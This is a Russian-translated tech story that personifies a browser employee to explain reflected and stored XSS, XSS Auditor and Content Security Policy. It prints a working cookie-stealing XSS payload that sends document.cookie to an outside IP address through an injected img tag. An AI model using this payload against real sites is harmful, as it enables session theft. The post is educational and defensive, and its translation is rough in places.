Таинственный URL-адрес вызвал катастрофу и почти заставил меня взять на себя вину!

JavaScript

Загадочный URL

Меня зовут Сяофэн, и я обычный офисный работник в Империи Windows. сказал в прошлый разЯ чуть не потерял работу из-за запроса о перекрестном происхождении, К счастью, промахов нет, и мои карьерные приключения продолжаются.

"Динь-динь-динь-динь ~~~", - снова разбудил меня будильник, я увидел, что уже так поздно.

Я быстро встал и уже собирался идти на работу, наконец-то устроился в эту браузерную компанию, но опаздывать не посмел.

Сегодня обычный день. Уже поздно, и онлайн-бизнеса стало меньше. Мы с сестрой Сяосюэ вместе, вместе с Лао Бай, отвечающим за сетевое подключение, и Сяо Хей, отвечающим за хранение, играем маджонг вместе.

Сыграв несколько кругов подряд, красивая стойка регистрации компании подбежала и сказала: «Ребята, перестаньте играть, грядет интернет-бизнес. Старый Бай, это URL-адрес, вот он».

Я взглянул на URL-адрес, и он выглядел странно, мало того, что он был длиннее, чем все, что я видел раньше, но также, казалось, что в нем был смешанный код JavaScript.

http://zone.oo.com/user/info.jsp?desc="/><script>$("body").append("<img src='http://192.168.59.129?c="+escape(document.cookie) + "'>")</script><!--

"Старый Бай, этот URL такой странный? Есть какие-то проблемы?" Я спросил Лао Бай.

«Эй, вы здесь новенький, я видел больше URL-адресов, чем вы когда-либо выполняли код JS, и я не видел ничего странного, поднимающего шум», — отмахнулся Лао Бай.

«Все, закройте карты, не смотрите на них, давайте снова сыграем, когда закончим», — продолжил Лао Бай.

Так что каждый возвращается к своим, готовым заниматься этим единственным онлайн-бизнесом.

Вскоре Лао Бай извлек веб-страницу по URL-адресу и передал ее Сяосюэ для анализа и отображения.

Сяосюэ наполовину закончила и остановила меня: «Брат Фэн, есть еще один<script>Тэг, твоя очередь».

Я взял веб-страницу из рук Сяосюэ и внезапно взглянул на нее.Разве это не тот код, который только что появился в URL-адресе? Почему вы снова зашли на сайт?

Плохое предчувствие внезапно захлестнуло мое сердце, и я был в замешательстве, когда Лао Бай призвал меня: «Сяосюэ и Сяофэн, поторопитесь, веб-страница уже давно загружена и до сих пор не отображается!»

Я бы хотел, чтобы я слишком много думал, и я начал реализовывать это<script>код в теге.

<script>
  $("body").append("\<img src='http://192.168.59.129:10086?c=" 
  + escape(document.cookie) + "'>")
</script>

Я хочу создать новый<img>теги, которые добавляются в тело веб-страницы. Я посмотрел на источник этой картинки, это новый адрес, и снова я должен поставить текущий сайтCookieВозьмите его в качестве параметра, чтобы получить эту картинку.

Я пришел на склад Сяо Хэя и собирался попросить у него печенье.

Когда я обозначил свое намерение, Сяо Хэй тоже казался немного осторожным.Согласно правилам компании, файлы cookie веб-сайта не могут быть свободно доступны другим веб-сайтам."

«Конечно, я это знаю, но теперь JS-код этого веб-сайта берет на себя инициативу по извлечению файла cookie и отправке его другим. Это не является нарушением правил компании», — пояснил я.

Сяо Хэйцзоу нахмурился и немного подумал, затем согласился.

После того, как я получаю файл cookie, я создаю полный<img>Тег добавляется в дерево DOM веб-страницы, а затем продолжает отображаться для Xiaoxue.

Веб-страница быстро рендерится и отображается, и мы продолжаем запускать незавершенную игру после того, как закончим.

Через некоторое время люди, наконец, отключили свои браузеры, и мы тоже смогли уйти с работы...  

Атака с использованием межсайтовых сценариев XSS

На следующее утро, как только я прибыл в компанию, сестра Сяосюэ повернула голову и сказала мне: «Брат Фэн, начальник попросил вас пройти к нему в кабинет. Он не выглядит очень довольным, так что будьте осторожны».

— Вы знаете, что происходит?

«Я не знаю, я только что слышал, что вы выполнили какой-то неправильный код JavaScript»

Я нервничал и чувствовал, что что-то не так, может быть, вчера вечером что-то было не так с этим странным кодом?

Когда я пришла в кабинет начальника, то увидела, что внутри сидит молодой человек. Я легонько постучал в дверь и спросил: «Директор, вы имеете ко мне какое-то отношение?»

Когда супервайзер увидел, что я иду, он указал на диван рядом со мной и жестом пригласил меня сесть.

«Вы попали в беду, вы знаете?» Вождь бросил мне страницу с документами.

Я взял файл и посмотрел на него, и там было сказано, что прошлой ночью я выполнил этот странный фрагмент кода JavaScript.

«Директор, я не уверен, это проблема?» — тихо спросил я.

Супервайзер указал на младшего брата рядом с ним и сказал: «Это человек, отвечающий за космический веб-сайт ОО, пусть он скажет вам».

Младший брат кивнул и сказал: «Все, мы обнаружили, что кто-то украл куки нашего сайта и получил к нему прямой доступ без входа в систему. После проверки логов мы обнаружили, что вы слили куки здесь, поэтому я хочу прийти и найти выход из ситуации».

«Этот код — ваш собственный сайт, я только что закончил свою работу и выполнил его», — начал я немного нервничать.

«Но на нашем сайте вообще нет этого кода, и нельзя отправлять такие файлы cookie другим», — также возразил братишка.

Атмосфера в офисе стала немного напряженной, и сцена погрузилась в недолгую тишину.

В этот момент младший брат вышел, чтобы ответить на телефонный звонок.

Через некоторое время младший брат снова вернулся в офис, его лицо вдруг сильно смягчилось, и он с улыбкой сказал: «Извините, мне только что позвонили коллеги и сказали, что они уже разобрались с проблемой.Это связано с тем, что наш веб-сайт не проверял параметры в URL-адресе, а напрямую записывал его на веб-страницу и использовался для передачи кода JS.. Это не должно иметь к тебе никакого отношения, мне очень жаль».

Прослушав его, я вздохнул с облегчением и чуть не влюбился.

Вернувшись в участок, я рассказал всем, что произошло.

Сяосюэ пожаловалась после прослушивания: «Не связывайтесь с этими странными URL-адресами, они действительно добавляют нам путаницы».

"Посмотрите на себя, прошлой ночью я почувствовал, что что-то не так. Этот злодей очень искусный. Если он может придумать такой плохой ход, давайте дадим этой атаке имя", - сказал Сяо Хэй, - "Это называетсяCross Site ScriptКак атака? "

Лао Бай кивнул: «Атака межсайтового скриптинга, гм, резюме готово, давайте просто назовем это CSS!»

Когда Сяосюэ услышала это, она повернула голову и сказала: «Вас зовут CSS, так что, моя каскадная таблица стилей не будет переименована в Rangxian?»

Старый Бай почесал в затылке, немного смущенный: «О, я забыл об этом.XSS, это всегда возможно, верно? "

Мы все кивнули, и все.

XSS Auditor

Хотя ответственность за это время лежит не на нашем браузере, мне всегда было немного страшно.

В ту ночь я тщательно вспомнил все, что произошло в тот день.

Внезапно мне в голову пришла идея, и я обнаружил важную особенность.

Поскольку код JS появляется как в запрошенном URL-адресе, так и на веб-странице ответа, почему бы не использовать эту функцию для целевого перехвата?

Чем больше я думал об этом, тем труднее становилось заснуть, поэтому я за ночь написал план.

На следующий день я пришел в компанию и планировал сообщить начальнику о вчерашнем плане, чтобы заработать немного производительности.

Я снова пришел в кабинет начальника, начальник увидел меня и поздоровался: «Сяофэн, иди сюда, я просто случайно спросил тебя кое о чем».

Я быстро вошел и увидел, что супервайзер вынул еще одну стопку документов и положил ее передо мной, а затем сказал: «Это сверхсекретная информация, которую я получил, она от компании, которая называется «Браузерная компания Chrome» по соседству. .XSS Auditorтехнология, говорят, что она может предотвратить атаки, как в прошлый раз, вы должны потратить время на ее изучение »

Я был ошеломлен и быстро просмотрел этот документ.Я не ожидал, что наткнусь на свой план, и он был более полным и подробным, чем я думал. Мне пришлось тихонько отложить план, о котором я собирался сообщить...

Через несколько дней директор объявил, что мы также будем использовать эту технологию для повышения безопасности наших браузеров.

Сохраненный XSS

«Вы слышали? Соседняя компания, производящая браузер Chrome, тоже подверглась XSS-атаке», — загадочно сказал Лао Байшен в полдень.

Как только я это услышал, я был заинтригован: «Разве нет XSS-аудитора, почему это все еще происходит?»

«На этот раз злоумышленники изменили свою тактику. Они не вставили JS-код в URL-адрес, и XSS Auditor, естественно, не смог его обнаружить».

"Не в URL, куда это делось?"

"Я слышал, что он существует в базе данных. При доступе к веб-странице он считывается из базы данных и заполняется непосредственно на веб-странице. Ну, это так", - закончил Лао Бай и нарисовал картинку.

«Кстати, они воспользовались этой возможностью, чтобы разделить XSS-атаки на два типа. Предыдущий метод прямого внедрения JS-кода в веб-страницы через URL-адреса называется反射型XSS, на этот раз называется存储型XSS", - продолжил Лао Бай.

Я посмотрел на фотографию Лао Бая и понял: «Этот трюк слишком безжалостен. Он хранится в базе данных сайта, и всех, кто посещает страницу, приходится обманывать».

«Это не так уж плохо. Веб-сайт OO space превратился в беспорядок. Он исправляется внутри компании. Все входные данные тщательно проверяются и фильтруются, чтобы предотвратить смешивание кода JS».

«Такие вещи все еще должны быть проверены на их собственном веб-сайте, и наш браузер мало чем может помочь», — также вмешался Сяо Хей.

Все немного поболтали, а потом разошлись.

Хотя Сяо Хей прав, но в прошлый раз, когда план потерпел крах, я не был убежден. На этот раз придет, если я смогу придумать другой план для решения нового XSS на этот раз, Тогда поднял брови.

Через некоторое время я стал думать об этой проблеме всякий раз, когда у меня было время, но прогресса не было.

CSP

В полдень этого дня мне было нечего делать. Я снова подумал об этой проблеме. Сяосюэ и другие организовали игру в маджонг. У меня не хватило духу отказаться.

Лао Бай услышал эту новость и сказал: «Сяофэн, ты все еще думаешь об этом вопросе? Разве ты не смотрел новости за последние два дня? Организация по стандартизации W3C запустила новую технологию, которая решила эту проблему!»

Слова Лао Бая были как удар по голове: «Какая технология? Как ее решить?»

«Посмотрите на себя, вы каждый день закрываете дверь, чтобы учиться, и вы не знаете, как быстро меняется внешний мир. Идите и узнайте, как это называется?Content Security Policy, ах да, именно так, сокращенно называетсяCSP"

Я быстро отправился узнать об этой новой технологии под названием CSP.

CSP указывает вызываемыйContent-Security-PolicyИнформация, которую веб-сайт использует, чтобы сообщить браузеру, какие внешние ресурсы могут быть загружены и выполнены. Эта информация может поступать в виде заголовков HTTP, например:

также через<meta>Метка появляется, как это:

<meta http-equiv="Content-Security-Policy" 
      content="script-src 'self'; object-src 'none'; style-src cdn.example.org third-party.org; child-src https:">

Что касается контента внутри, то он указывает все места, где может происходить загрузка внешнего ресурса. Браузер может знать, по какому адресу загружать соответствующий ресурс, когда он его получит. Если адреса ресурса нет в списке, он откажется от загрузки нагрузка:

- script-src:外部脚本
- style-src:样式表
- img-src:图像
- media-src:媒体文件(音频和视频)
- font-src:字体文件
- object-src:插件(比如 Flash)
- child-src:框架
- frame-ancestors:嵌入的外部资源
- connect-src:HTTP 连接(通过 XHR、WebSockets、EventSource等)
- worker-src:worker脚本
- manifest-src:manifest 文件

Например, содержимое img-srcself, это все<img>Атрибут src тега должен быть на текущем сайте, если загружаются изображения с других адресов, они будут отклонены.

Мало того, он также обеспечиваетreport-uriСодержимое поля - адрес сервера.После того, как браузер обнаружит, что загружается ресурс, не соответствующий требованиям, он, помимо отказа в загрузке, также может сообщить о ситуации на этот адрес, а сайт может узнать предупреждение во время.

Какое идеальное решение! Неожиданно так много конкурентов уже использовали эту технологию

В тот же день я привел Лао Бая в офис руководства и убедил его использовать эту технологию в нашей компании.

Раздражающая XSS-атака, наконец, значительно уменьшилась, и мы редко проводили период мира.

Продолжение следует

пасхальные яйца

Мирные дни длились недолго, через полмесяца после этого инцидента имперская охрана вынудила меня закрыть браузерную компанию из-за того, что я слишком долго выполнял кусок JS-кода, который занимал процессор.

Работа по выполнению JavaScript становится все сложнее и сложнее.

Если вы предсказываете, что будет дальше, обратите внимание на продолжение захватывающего...

Прошлый популярный обзор

Я чуть не потерял работу из-за запроса о перекрестном происхождении

Всего за одну атомарную операцию бастуют все остальные ядра ЦП

Сделанный! Процессор слепо требует, чтобы что-то произошло в ближайшее время!

Ужасный! ЦП стал пособником хакеров!

Какая хеш-таблица сильнее? Несколько основных языков программирования спорят!

Потрясенный! Первая панорама анализа исходного кода всей сети раскрывает секрет Nginx

Катастрофа, вызванная целым числом + 1

Все вместе! Краткое изложение методов взлома, которые должен знать каждый программист

DDoS-атака: Война Бесконечности

Воспоминания об объекте Java: сборка мусора

Кто переместил ваш HTTPS-трафик?

Рекламные секреты в роутерах

Фантастическое путешествие HTTP-пакета

Я мошеннический поток программного обеспечения